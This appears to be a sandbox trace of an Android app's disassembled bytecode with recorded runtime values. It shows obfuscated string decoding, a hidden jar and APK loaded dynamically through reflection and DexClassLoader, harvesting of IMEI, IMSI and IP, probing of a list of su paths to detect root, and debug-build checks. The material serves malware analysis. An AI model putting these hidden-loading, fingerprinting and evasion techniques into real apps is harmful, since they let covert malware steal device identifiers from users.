                              16invoke-direct {v3, v4, v0}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
                              • Time: 11381984270
                                • This:
                                  • /data/data/air.nu.strafwerk.takecontrol/cache/1178572636
                                • p0: /data/data/air.nu.strafwerk.takecontrol/cache
                                • p1: 1178572636
                                • Return:
                                  • /data/data/air.nu.strafwerk.takecontrol/cache/1178572636
                              18sget-object v0, Landroid/os/Build;->MODEL:Ljava/lang/String;
                              • Time: 11381984276
                                • Return:
                                  • Galaxy Nexus
                              20const-string v4, "cTU+LQ=="
                              22invoke-static {v4}, Lcom/moor/fight/Perch;->confident(Ljava/lang/String;)Ljava/lang/String;
                              • Time: 11381984280
                                • This:
                                  • .jar
                                • p0: [C@12ce255e
                                • p0: .jar
                                • Return:
                                  • .jar
                              • Time: 11381984285
                                • p0: cTU+LQ==
                                • Return:
                                  • .jar
                              23move-result-object v4
                              25invoke-static {v0, v4}, Lcom/convenience/amplify/Faithful;->woodpecker(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              26move-result-object v0
                              28invoke-direct {v2, v3, v0}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
                              • Time: 11381984325
                                • This:
                                  • /data/data/air.nu.strafwerk.takecontrol/cache/1178572636/9377583.jar
                                • p0: /data/data/air.nu.strafwerk.takecontrol/cache/1178572636
                                • p1: 9377583.jar
                                • Return:
                                  • /data/data/air.nu.strafwerk.takecontrol/cache/1178572636/9377583.jar
                              29try_end_25: new-instance v0, Lcom/cultivate/fairly/Incredible;
                              31invoke-direct {v0}, Lcom/cultivate/fairly/Incredible;-><init>()V
                              33invoke-virtual {v0, v2}, Lcom/cultivate/fairly/Incredible;->miser(Ljava/io/File;)V
                              35const-string v0, "NzAtLDovMCg6LQ=="
                              37invoke-static {v0}, Lcom/moor/fight/Perch;->confident(Ljava/lang/String;)Ljava/lang/String;
                              • Time: 11381984358
                                • This:
                                  • horsepower
                                • p0: [C@3b047009
                                • p0: horsepower
                                • Return:
                                  • horsepower
                              • Time: 11381984362
                                • p0: NzAtLDovMCg6LQ==
                                • Return:
                                  • horsepower
                              38move-result-object v0
                              40invoke-virtual {p0}, Landroid/content/Context;->getAssets()Landroid/content/res/AssetManager;
                              41move-result-object v3
                              42const/4 v4, 0x2
                              44invoke-virtual {v3, v0, v4}, Landroid/content/res/AssetManager;->open(Ljava/lang/String;I)Ljava/io/InputStream;
                              45move-result-object v0
                              46new-instance v3, Ljava/io/DataInputStream;
                              48invoke-direct {v3, v0}, Ljava/io/DataInputStream;-><init>(Ljava/io/InputStream;)V
                              49new-instance v4, Ljava/io/DataOutputStream;
                              50new-instance v5, Ljava/io/FileOutputStream;
                              52invoke-direct {v5, v2}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V
                              • Time: 11381984368
                                • This:
                                  • java.io.FileOutputStream@17d2fa3c
                                • p0: /data/data/air.nu.strafwerk.takecontrol/cache/1178572636/9377583.jar
                                • Return:
                                  • java.io.FileOutputStream@17d2fa3c
                              54invoke-direct {v4, v5}, Ljava/io/DataOutputStream;-><init>(Ljava/io/OutputStream;)V
                              55new-instance v5, Lcom/moor/fight/Perch;
                              57invoke-direct {v5}, Lcom/moor/fight/Perch;-><init>()V
                              59invoke-virtual {v5, v3, v4}, Lcom/moor/fight/Perch;->normalization(Ljava/io/DataInputStream;Ljava/io/DataOutputStream;)V
                              61invoke-virtual {v0}, Ljava/io/InputStream;->close()V
                              63invoke-virtual {v4}, Ljava/io/DataOutputStream;->close()V
                              65invoke-virtual {v3}, Ljava/io/DataInputStream;->close()V
                              66goto_5c: monitor-exit v1
                              67return-object v2
                              68catch_5e: move-exception v0
                              69try_start_5f:
                              70invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                              71try_end_62: goto/16 :goto_5c
                              72catchall_63: move-exception v0
                              73monitor-exit v1
                              74throw v0
                              Cross References
                              APIs
                              • java.lang.StringBuilder.<init>
                              • android.content.Context.getCacheDir
                              • java.io.File.getAbsolutePath
                              • java.lang.StringBuilder.append
                              • java.io.File.separator:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.content.Context.getAssets
                              • java.lang.Object.getClass
                              • java.lang.Class.getDeclaredMethod
                              • android.content.Context.getAssets
                              • java.lang.reflect.Method.invoke
                              • android.content.Context.getCacheDir
                              • java.io.File.getAbsolutePath
                              • dalvik.system.DexClassLoader.<init>
                              • java.lang.Throwable.printStackTrace
                              Strings
                              • .apk
                              • addAssetPath
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-direct {p0}, Lcom/sdk/entry/LoadVSdk;->md5ProcessName()Ljava/lang/String;
                              3move-result-object v0
                              4new-instance v1, Ljava/lang/StringBuilder;
                              6invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              8invoke-virtual {p1}, Landroid/content/Context;->getCacheDir()Ljava/io/File;
                              9move-result-object v2
                              11invoke-virtual {v2}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                              12move-result-object v2
                              14invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              15move-result-object v1
                              17sget-object v2, Ljava/io/File;->separator:Ljava/lang/String;
                              19invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              20move-result-object v1
                              22invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              23move-result-object v0
                              25const-string/jumbo v1, ".apk"
                              27invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              28move-result-object v0
                              30invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              31move-result-object v1
                              32new-instance v0, Lcom/sdk/entry/TrackBook;
                              34invoke-direct {v0}, Lcom/sdk/entry/TrackBook;-><init>()V
                              36invoke-virtual {v0, v1, p1}, Lcom/sdk/entry/TrackBook;->copyApk(Ljava/lang/String;Landroid/content/Context;)V
                              37try_start_32:
                              38invoke-virtual {p1}, Landroid/content/Context;->getAssets()Landroid/content/res/AssetManager;
                              39move-result-object v0
                              41invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              • Time: 11382136572
                                • This:
                                  • android.content.res.AssetManager@51fd308
                                • Return:
                                  • class android.content.res.AssetManager
                                  • getName: android.content.res.AssetManager
                              42move-result-object v0
                              44const-string/jumbo v2, "addAssetPath"
                              45const/4 v3, 0x1
                              46new-array v3, v3, [Ljava/lang/Class;
                              47const/4 v4, 0x0
                              48const-class v5, Ljava/lang/String;
                              49aput-object v5, v3, v4
                              51invoke-virtual {v0, v2, v3}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              • Time: 11382136582
                                • This:
                                  • class android.content.res.AssetManager
                                  • getName:android.content.res.AssetManager
                                • p0: addAssetPath
                                • p1: [Ljava.lang.Class;@196317b4
                                • p1.Arrays.toString: [class java.lang.String]
                                • Return:
                                  • public final int android.content.res.AssetManager.addAssetPath(java.lang.String)
                                  • getName: addAssetPath
                              52move-result-object v0
                              54invoke-virtual {p1}, Landroid/content/Context;->getAssets()Landroid/content/res/AssetManager;
                              55move-result-object v2
                              56const/4 v3, 0x1
                              57new-array v3, v3, [Ljava/lang/Object;
                              58const/4 v4, 0x0
                              59aput-object v1, v3, v4
                              61invoke-virtual {v0, v2, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              • Reflective invoke: android.content.res.AssetManager.addAssetPath
                                • This:
                                  • android.content.res.AssetManager@51fd308
                                • p0: /data/data/air.nu.strafwerk.takecontrol/cache/07f457cd737b20bb7c8673ca1c8f0470.apk
                                • Return:
                                  • 3
                              • Time: 11382136590
                                • This:
                                  • public final int android.content.res.AssetManager.addAssetPath(java.lang.String)
                                  • getName:addAssetPath
                                • p0: android.content.res.AssetManager@51fd308
                                • p1: [Ljava.lang.Object;@1ab1752
                                • p1.Arrays.toString: [/data/data/air.nu.strafwerk.takecontrol/cache/07f457cd737b20bb7c8673ca1c8f0470.apk]
                                • Return:
                                  • 3
                              62goto_56: new-instance v0, Ldalvik/system/DexClassLoader;
                              64invoke-virtual {p1}, Landroid/content/Context;->getCacheDir()Ljava/io/File;
                              65move-result-object v2
                              67invoke-virtual {v2}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                              68move-result-object v2
                              69const/4 v3, 0x0
                              71invoke-direct {v0, v1, v2, v3, p2}, Ldalvik/system/DexClassLoader;-><init>(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/ClassLoader;)V
                              72return-object v0
                              73catch_65: move-exception v0
                              75invoke-virtual {v0}, Ljava/lang/Throwable;->printStackTrace()V
                              76goto/16 :goto_56
                              Cross References
                              APIs
                              • android.os.Build.PRODUCT:Ljava/lang/String
                              • android.os.Build.MODEL:Ljava/lang/String
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • android.os.Build$VERSION.RELEASE:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.content.Context.getResources
                              • android.content.res.Resources.getDisplayMetrics
                              • java.lang.String.valueOf
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              Strings
                              • =occam
                              • Galaxy Nexus
                              • android_
                              • 5.1.1
                              • TerminalInfo
                              • android
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v4, 0x0
                              2const/4 v3, 0x0
                              3new-instance v0, Lcom/omg/base/network/objects/TerminalInfo;
                              5invoke-direct {v0}, Lcom/omg/base/network/objects/TerminalInfo;-><init>()V
                              6iput-object v0, p0, Lcom/omg/base/terminal/OmgTerminalinfo;->b:Lcom/omg/base/network/objects/TerminalInfo;
                              7try_start_9:
                              8iget-object v0, p0, Lcom/omg/base/terminal/OmgTerminalinfo;->b:Lcom/omg/base/network/objects/TerminalInfo;
                              10sget-object v1, Landroid/os/Build;->PRODUCT:Ljava/lang/String;
                              • Time: 11382130097
                                • Return:
                                  • =occam
                              12invoke-virtual {v0, v1}, Lcom/omg/base/network/objects/TerminalInfo;->setHsman(Ljava/lang/String;)V
                              14iget-object v0, p0, Lcom/omg/base/terminal/OmgTerminalinfo;->b:Lcom/omg/base/network/objects/TerminalInfo;
                              16sget-object v1, Landroid/os/Build;->MODEL:Ljava/lang/String;
                              • Time: 11382130102
                                • Return:
                                  • Galaxy Nexus
                              18invoke-virtual {v0, v1}, Lcom/omg/base/network/objects/TerminalInfo;->setHstype(Ljava/lang/String;)V
                              20iget-object v0, p0, Lcom/omg/base/terminal/OmgTerminalinfo;->b:Lcom/omg/base/network/objects/TerminalInfo;
                              21new-instance v1, Ljava/lang/StringBuilder;
                              23invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              25const-string/jumbo v2, "android_"
                              27invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              28move-result-object v1
                              30sget-object v2, Landroid/os/Build$VERSION;->RELEASE:Ljava/lang/String;
                              • Time: 11382130107
                                • Return:
                                  • 5.1.1
                              32invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              33move-result-object v1
                              35invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              36move-result-object v1
                              38invoke-virtual {v0, v1}, Lcom/omg/base/network/objects/TerminalInfo;->setOsVer(Ljava/lang/String;)V
                              39goto_32:
                              40invoke-virtual {p1}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
                              41move-result-object v0
                              43invoke-virtual {v0}, Landroid/content/res/Resources;->getDisplayMetrics()Landroid/util/DisplayMetrics;
                              44move-result-object v0
                              46iget-object v1, p0, Lcom/omg/base/terminal/OmgTerminalinfo;->b:Lcom/omg/base/network/objects/TerminalInfo;
                              47iget v2, v0, Landroid/util/DisplayMetrics;->widthPixels:I
                              48int-to-short v2, v2
                              50invoke-virtual {v1, v2}, Lcom/omg/base/network/objects/TerminalInfo;->setScreenWidth(S)V
                              52iget-object v1, p0, Lcom/omg/base/terminal/OmgTerminalinfo;->b:Lcom/omg/base/network/objects/TerminalInfo;
                              53iget v0, v0, Landroid/util/DisplayMetrics;->heightPixels:I
                              54int-to-short v0, v0
                              56invoke-virtual {v1, v0}, Lcom/omg/base/network/objects/TerminalInfo;->setScreenHeight(S)V
                              57goto_4a:
                              58iget-object v0, p0, Lcom/omg/base/terminal/OmgTerminalinfo;->b:Lcom/omg/base/network/objects/TerminalInfo;
                              60invoke-direct {p0}, Lcom/omg/base/terminal/OmgTerminalinfo;->a()I
                              61move-result v1
                              62int-to-short v1, v1
                              64invoke-virtual {v0, v1}, Lcom/omg/base/network/objects/TerminalInfo;->setRamSize(S)V
                              65goto_54:
                              66iget-object v0, p0, Lcom/omg/base/terminal/OmgTerminalinfo;->b:Lcom/omg/base/network/objects/TerminalInfo;
                              68invoke-static {}, Lcom/omg/base/phone/factoryimpl/PhoneController;->getInstance()Lcom/omg/base/phone/factoryimpl/PhoneController;
                              69move-result-object v1
                              71invoke-virtual {v1, p1}, Lcom/omg/base/phone/factoryimpl/PhoneController;->getImei(Landroid/content/Context;)Ljava/lang/String;
                              72move-result-object v1
                              74invoke-virtual {v0, v1}, Lcom/omg/base/network/objects/TerminalInfo;->setImei(Ljava/lang/String;)V
                              76iget-object v0, p0, Lcom/omg/base/terminal/OmgTerminalinfo;->b:Lcom/omg/base/network/objects/TerminalInfo;
                              78invoke-virtual {v0, v3}, Lcom/omg/base/network/objects/TerminalInfo;->setLac(S)V
                              80invoke-static {}, Lcom/omg/base/phone/factoryimpl/PhoneController;->getInstance()Lcom/omg/base/phone/factoryimpl/PhoneController;
                              81move-result-object v0
                              83invoke-virtual {v0, p1}, Lcom/omg/base/phone/factoryimpl/PhoneController;->getImsi(Landroid/content/Context;)Ljava/lang/String;
                              84move-result-object v0
                              86iget-object v1, p0, Lcom/omg/base/terminal/OmgTerminalinfo;->b:Lcom/omg/base/network/objects/TerminalInfo;
                              88invoke-virtual {v1, v0}, Lcom/omg/base/network/objects/TerminalInfo;->setImsi(Ljava/lang/String;)V
                              90iget-object v1, p0, Lcom/omg/base/terminal/OmgTerminalinfo;->b:Lcom/omg/base/network/objects/TerminalInfo;
                              92invoke-direct {p0, v0}, Lcom/omg/base/terminal/OmgTerminalinfo;->a(Ljava/lang/String;)Ljava/lang/String;
                              93move-result-object v0
                              95invoke-virtual {v1, v0}, Lcom/omg/base/network/objects/TerminalInfo;->setProvidersName(Ljava/lang/String;)V
                              97iget-object v0, p0, Lcom/omg/base/terminal/OmgTerminalinfo;->b:Lcom/omg/base/network/objects/TerminalInfo;
                              99const-string/jumbo v1, ""
                              101invoke-virtual {v0, v1}, Lcom/omg/base/network/objects/TerminalInfo;->setSmsCenter(Ljava/lang/String;)V
                              103iget-object v0, p0, Lcom/omg/base/terminal/OmgTerminalinfo;->b:Lcom/omg/base/network/objects/TerminalInfo;
                              105invoke-direct {p0, p1}, Lcom/omg/base/terminal/OmgTerminalinfo;->c(Landroid/content/Context;)B
                              106move-result v1
                              108invoke-virtual {v0, v1}, Lcom/omg/base/network/objects/TerminalInfo;->setNetworkType(B)V
                              110iget-object v0, p0, Lcom/omg/base/terminal/OmgTerminalinfo;->b:Lcom/omg/base/network/objects/TerminalInfo;
                              112invoke-static {p1}, Lcom/omg/base/terminal/OmgTerminalinfo;->b(Landroid/content/Context;)Ljava/lang/String;
                              113move-result-object v1
                              115invoke-virtual {v0, v1}, Lcom/omg/base/network/objects/TerminalInfo;->setIp(Ljava/lang/String;)V
                              117iget-object v0, p0, Lcom/omg/base/terminal/OmgTerminalinfo;->b:Lcom/omg/base/network/objects/TerminalInfo;
                              119invoke-virtual {p0, p1}, Lcom/omg/base/terminal/OmgTerminalinfo;->getAppVersionCode(Landroid/content/Context;)I
                              120move-result v1
                              122invoke-static {v1}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
                              123move-result-object v1
                              125invoke-virtual {v0, v1}, Lcom/omg/base/network/objects/TerminalInfo;->setVersionCode(Ljava/lang/String;)V
                              127iget-object v0, p0, Lcom/omg/base/terminal/OmgTerminalinfo;->b:Lcom/omg/base/network/objects/TerminalInfo;
                              129invoke-virtual {v0, v4}, Lcom/omg/base/network/objects/TerminalInfo;->setChannelId(Ljava/lang/String;)V
                              131iget-object v0, p0, Lcom/omg/base/terminal/OmgTerminalinfo;->b:Lcom/omg/base/network/objects/TerminalInfo;
                              133invoke-virtual {v0, v4}, Lcom/omg/base/network/objects/TerminalInfo;->setAppId(Ljava/lang/String;)V
                              134try_start_ad: new-instance v0, Ljava/lang/StringBuilder;
                              136invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              138const-string/jumbo v1, "TerminalInfo "
                              140invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              141move-result-object v0
                              143iget-object v1, p0, Lcom/omg/base/terminal/OmgTerminalinfo;->b:Lcom/omg/base/network/objects/TerminalInfo;
                              145invoke-virtual {v1}, Lcom/omg/base/network/objects/TerminalInfo;->toJson()Ljava/lang/String;
                              146move-result-object v1
                              148invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              149move-result-object v0
                              151invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              152move-result-object v0
                              154invoke-static {v0}, Lcom/omg/tool/log/Logger;->I(Ljava/lang/String;)V
                              155goto_ca: return-void
                              156catch_cb: move-exception v0
                              158iget-object v0, p0, Lcom/omg/base/terminal/OmgTerminalinfo;->b:Lcom/omg/base/network/objects/TerminalInfo;
                              160const-string/jumbo v1, ""
                              162invoke-virtual {v0, v1}, Lcom/omg/base/network/objects/TerminalInfo;->setHsman(Ljava/lang/String;)V
                              164iget-object v0, p0, Lcom/omg/base/terminal/OmgTerminalinfo;->b:Lcom/omg/base/network/objects/TerminalInfo;
                              166const-string/jumbo v1, ""
                              168invoke-virtual {v0, v1}, Lcom/omg/base/network/objects/TerminalInfo;->setHstype(Ljava/lang/String;)V
                              170iget-object v0, p0, Lcom/omg/base/terminal/OmgTerminalinfo;->b:Lcom/omg/base/network/objects/TerminalInfo;
                              172const-string/jumbo v1, "android"
                              174invoke-virtual {v0, v1}, Lcom/omg/base/network/objects/TerminalInfo;->setOsVer(Ljava/lang/String;)V
                              175goto/16 :goto_32
                              176catch_e6: move-exception v0
                              178iget-object v0, p0, Lcom/omg/base/terminal/OmgTerminalinfo;->b:Lcom/omg/base/network/objects/TerminalInfo;
                              180invoke-virtual {v0, v3}, Lcom/omg/base/network/objects/TerminalInfo;->setScreenWidth(S)V
                              182iget-object v0, p0, Lcom/omg/base/terminal/OmgTerminalinfo;->b:Lcom/omg/base/network/objects/TerminalInfo;
                              184invoke-virtual {v0, v3}, Lcom/omg/base/network/objects/TerminalInfo;->setScreenHeight(S)V
                              185goto/16 :goto_4a
                              186catch_f3: move-exception v0
                              188iget-object v0, p0, Lcom/omg/base/terminal/OmgTerminalinfo;->b:Lcom/omg/base/network/objects/TerminalInfo;
                              190invoke-virtual {v0, v3}, Lcom/omg/base/network/objects/TerminalInfo;->setRamSize(S)V
                              191goto/16 :goto_54
                              192catch_fb: move-exception v0
                              194invoke-static {v0}, Lcom/omg/tool/builds/ExceptionUtils;->handle(Ljava/lang/Exception;)V
                              195goto/16 :goto_ca
                              Cross References
                              APIs
                              • android.os.Build.TAGS:Ljava/lang/String
                              • java.lang.String.contains
                              • java.io.File.<init>
                              • java.io.File.exists
                              Strings
                              • release-keys
                              • test-keys
                              • /data/local/bin/su
                              • /data/local/su
                              • /data/local/xbin/su
                              • /sbin/su
                              • /su/bin/su
                              • /system/app/Superuser.apk
                              • /system/bin/failsafe/su
                              • /system/bin/su
                              • /system/sd/xbin/su
                              • /system/xbin/su
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x1
                              2const/4 v2, 0x0
                              4sget-object v0, Landroid/os/Build;->TAGS:Ljava/lang/String;
                              • Time: 11382136114
                                • Return:
                                  • release-keys
                              5if-eqz v0, :cond_66
                              7const-string/jumbo v3, "test-keys"
                              9invoke-virtual {v0, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                              10move-result v0
                              11if-eqz v0, :cond_66
                              12move v0, v1
                              13goto_10: const/16 v3, 0xa
                              14new-array v5, v3, [Ljava/lang/String;
                              16const-string/jumbo v3, "/system/app/Superuser.apk"
                              17aput-object v3, v5, v2
                              19const-string/jumbo v3, "/sbin/su"
                              20aput-object v3, v5, v1
                              21const/4 v3, 0x2
                              23const-string/jumbo v4, "/system/bin/su"
                              24aput-object v4, v5, v3
                              25const/4 v3, 0x3
                              27const-string/jumbo v4, "/system/xbin/su"
                              28aput-object v4, v5, v3
                              29const/4 v3, 0x4
                              31const-string/jumbo v4, "/data/local/xbin/su"
                              32aput-object v4, v5, v3
                              33const/4 v3, 0x5
                              35const-string/jumbo v4, "/data/local/bin/su"
                              36aput-object v4, v5, v3
                              37const/4 v3, 0x6
                              39const-string/jumbo v4, "/system/sd/xbin/su"
                              40aput-object v4, v5, v3
                              41const/4 v3, 0x7
                              43const-string/jumbo v4, "/system/bin/failsafe/su"
                              44aput-object v4, v5, v3
                              45const/16 v3, 0x8
                              47const-string/jumbo v4, "/data/local/su"
                              48aput-object v4, v5, v3
                              49const/16 v3, 0x9
                              51const-string/jumbo v4, "/su/bin/su"
                              52aput-object v4, v5, v3
                              53array-length v6, v5
                              54move v4, v2
                              55move v3, v2
                              56goto_53: if-ge v4, v6, :cond_68
                              57aget-object v7, v5, v4
                              58new-instance v8, Ljava/io/File;
                              60invoke-direct {v8, v7}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              • Time: 11382136119
                                • This:
                                  • /system/app/Superuser.apk
                                • p0: /system/app/Superuser.apk
                                • Return:
                                  • /system/app/Superuser.apk
                              • Time: 11382136129
                                • This:
                                  • /sbin/su
                                • p0: /sbin/su
                                • Return:
                                  • /sbin/su
                              • Time: 11382136139
                                • This:
                                  • /system/bin/su
                                • p0: /system/bin/su
                                • Return:
                                  • /system/bin/su
                              • Time: 11382136149
                                • This:
                                  • /system/xbin/su
                                • p0: /system/xbin/su
                                • Return:
                                  • /system/xbin/su
                              • Time: 11382136160
                                • This:
                                  • /data/local/xbin/su
                                • p0: /data/local/xbin/su
                                • Return:
                                  • /data/local/xbin/su
                              • Time: 11382136169
                                • This:
                                  • /data/local/bin/su
                                • p0: /data/local/bin/su
                                • Return:
                                  • /data/local/bin/su
                              • Time: 11382136179
                                • This:
                                  • /system/sd/xbin/su
                                • p0: /system/sd/xbin/su
                                • Return:
                                  • /system/sd/xbin/su
                              • Time: 11382136191
                                • This:
                                  • /system/bin/failsafe/su
                                • p0: /system/bin/failsafe/su
                                • Return:
                                  • /system/bin/failsafe/su
                              • Time: 11382136200
                                • This:
                                  • /data/local/su
                                • p0: /data/local/su
                                • Return:
                                  • /data/local/su
                              • Time: 11382136210
                                • This:
                                  • /su/bin/su
                                • p0: /su/bin/su
                                • Return:
                                  • /su/bin/su
                              62invoke-virtual {v8}, Ljava/io/File;->exists()Z
                              63move-result v7
                              64if-eqz v7, :cond_63
                              65move v3, v1
                              66cond_63: add-int/lit8 v4, v4, 0x1
                              67goto/16 :goto_53
                              68cond_66: move v0, v2
                              69goto/16 :goto_10
                              70cond_68: if-nez v0, :cond_6c
                              71if-eqz v3, :cond_6d
                              72cond_6c: move v2, v1
                              73cond_6d: return v2
                              Cross References
                              APIs
                              • java.lang.Class.forName
                              • java.lang.Class.getMethod
                              • java.lang.reflect.Method.invoke
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.text.TextUtils.isEmpty
                              Strings
                              • android.os.SystemProperties
                              • get
                              • gsm.version.baseband
                              • M8916_2020613.22.03.21.29R OSPREY_EMEA_CUST
                              • baseband =
                              • notBasebandExist
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v2, 0x0
                              2const/4 v3, 0x1
                              3const/4 v4, 0x0
                              5const-string/jumbo v1, ""
                              6try_start_6:
                              7const-string/jumbo v0, "android.os.SystemProperties"
                              9invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                              • Time: 11382135982
                                • p0: android.os.SystemProperties
                                • Return:
                                  • class android.os.SystemProperties
                                  • getName: android.os.SystemProperties
                              10move-result-object v0
                              12const-string/jumbo v5, "get"
                              13const/4 v6, 0x1
                              14new-array v6, v6, [Ljava/lang/Class;
                              15const/4 v7, 0x0
                              16const-class v8, Ljava/lang/String;
                              17aput-object v8, v6, v7
                              19invoke-virtual {v0, v5, v6}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              • Time: 11382135988
                                • This:
                                  • class android.os.SystemProperties
                                  • getName:android.os.SystemProperties
                                • p0: get
                                • p1: [Ljava.lang.Class;@1b1b9bde
                                • p1.Arrays.toString: [class java.lang.String]
                                • Return:
                                  • public static java.lang.String android.os.SystemProperties.get(java.lang.String)
                                  • getName: get
                              20move-result-object v0
                              21const/4 v5, 0x0
                              22const/4 v6, 0x1
                              23new-array v6, v6, [Ljava/lang/Object;
                              24const/4 v7, 0x0
                              26const-string/jumbo v8, "gsm.version.baseband"
                              27aput-object v8, v6, v7
                              29invoke-virtual {v0, v5, v6}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              • Reflective invoke: android.os.SystemProperties.get
                                • p0: gsm.version.baseband
                                • Return:
                                  • M8916_2020613.22.03.21.29R OSPREY_EMEA_CUST
                              • Time: 11382135994
                                • This:
                                  • public static java.lang.String android.os.SystemProperties.get(java.lang.String)
                                  • getName:get
                                • p0: null
                                • p1: [Ljava.lang.Object;@2c6e908c
                                • p1.Arrays.toString: [gsm.version.baseband]
                                • Return:
                                  • M8916_2020613.22.03.21.29R OSPREY_EMEA_CUST
                              30move-result-object v0
                              31if-eqz v0, :cond_58
                              32check-cast v0, Ljava/lang/String;
                              33try_end_2e: new-instance v1, Ljava/lang/StringBuilder;
                              35invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              37const-string/jumbo v2, "baseband = "
                              39invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              40move-result-object v1
                              42invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              43move-result-object v1
                              45invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              46move-result-object v1
                              48invoke-static {v1}, Lcom/omg/tool/log/Logger;->D(Ljava/lang/String;)V
                              50invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              51move-result v0
                              52if-eqz v0, :cond_56
                              53move v0, v3
                              54goto_4c: return v0
                              55catch_4d: move-exception v0
                              57const-string/jumbo v1, "notBasebandExist "
                              59invoke-static {v1, v0}, Lcom/omg/tool/log/Logger;->E(Ljava/lang/String;Ljava/lang/Throwable;)V
                              60move-object v0, v2
                              61goto/16 :goto_2e
                              62cond_56: move v0, v4
                              63goto/16 :goto_4c
                              64cond_58: move-object v0, v1
                              65goto/16 :goto_2e
                              Cross References
                              APIs
                              • java.lang.Class.getDeclaredMethod
                              • java.lang.reflect.Method.setAccessible
                              • android.os.Build.<init>
                              • java.lang.reflect.Method.invoke
                              • java.lang.String.toLowerCase
                              • java.lang.String.equals
                              • java.lang.String.contains
                              Strings
                              • getString
                              • ro.build.type
                              • user
                              • userdebug
                              • debug
                              • isDebugSystem
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x0
                              2const/4 v2, 0x1
                              4const-string/jumbo v3, ""
                              5try_start_5: const-class v0, Landroid/os/Build;
                              7const-string/jumbo v4, "getString"
                              8const/4 v5, 0x1
                              9new-array v5, v5, [Ljava/lang/Class;
                              10const/4 v6, 0x0
                              11const-class v7, Ljava/lang/String;
                              12aput-object v7, v5, v6
                              14invoke-virtual {v0, v4, v5}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              • Time: 11382136040
                                • This:
                                  • class android.os.Build
                                  • getName:android.os.Build
                                • p0: getString
                                • p1: [Ljava.lang.Class;@28b66851
                                • p1.Arrays.toString: [class java.lang.String]
                                • Return:
                                  • private static java.lang.String android.os.Build.getString(java.lang.String)
                                  • getName: getString
                              15move-result-object v0
                              16const/4 v4, 0x1
                              18invoke-virtual {v0, v4}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              19new-instance v4, Landroid/os/Build;
                              21invoke-direct {v4}, Landroid/os/Build;-><init>()V
                              22const/4 v5, 0x1
                              23new-array v5, v5, [Ljava/lang/Object;
                              24const/4 v6, 0x0
                              26const-string/jumbo v7, "ro.build.type"
                              27aput-object v7, v5, v6
                              29invoke-virtual {v0, v4, v5}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
